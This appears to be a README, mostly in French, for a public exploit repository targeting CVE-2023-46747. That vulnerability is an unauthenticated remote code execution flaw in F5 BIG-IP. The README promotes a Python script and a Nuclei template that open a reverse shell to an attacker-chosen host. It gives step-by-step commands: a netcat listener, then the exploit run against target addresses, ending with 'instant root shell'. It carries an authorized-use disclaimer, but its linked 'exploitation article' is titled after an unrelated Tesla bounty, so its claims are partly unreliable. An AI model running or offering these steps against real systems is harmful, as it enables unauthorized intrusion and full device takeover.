razzlemouse/f5-big-ip-smuggleshell-cve-2023-46747-exploit#F5-BIG-IP-CVE-2023-46747-Exploit – RCE non authentifiée Exploit Python et modèle Nuclei par Raguraman ✓ Shell inverse TCP automatisé (LHOST/LPORT) ✓ Testé sur les BIG-IP affectés 13.x–17.x ⚠️ Test d'intrusion autorisé uniquement
Versions Python3 et Nuclei – par raguraman
RCE critique non authentifié (CVSS 9.8) via AJP + HTTP request smuggling
Fonctionne sur tous les BIG-IP non patchés 13.x → 17.x (y compris le dernier 17.1.0.3)
Correctif : https://my.f5.com/manage/s/article/K000137353 (nov. 2023)
Article d'exploitation en conditions réelles : 👉 https://medium.com/@razzlemouse/how-i-discovered-an-rce-vulnerability-in-tesla-securing-a-10-000-bounty-62e725c2a6bd
f5-bigip-cve-2023-46747-revshell.py → Python3 autonome (recommandé)CVE-2023-46747-revshell.yaml → Template Nuclei (optionnel)# 1. Start your listener
nc -lvnp 4444
# 2. Run the exploit (works with IP or domain)
python3 f5-bigip-cve-2023-46747-revshell.py https://192.168.10.50 YOUR_IP 4444
python3 f5-bigip-cve-2023-46747-revshell.py https://bigip.victim.com YOUR_IP 4444
# → Instant root shell!
Utilisation – Template Nuclei (alternative)
# 1. Edit LHOST and LPORT inside the YAML file
# 2. Start listener
nc -lvnp 4444
# 3. Scan
nuclei -t CVE-2023-46747-revshell.yaml -u https://target.company.com
Cet outil est destiné uniquement aux tests de sécurité autorisés, tels que :
N'utilisez pas cet exploit sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'exploitation non autorisée est illégale et peut entraîner des poursuites pénales.
En utilisant cet outil, vous acceptez l'entière responsabilité du respect des lois applicables. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés.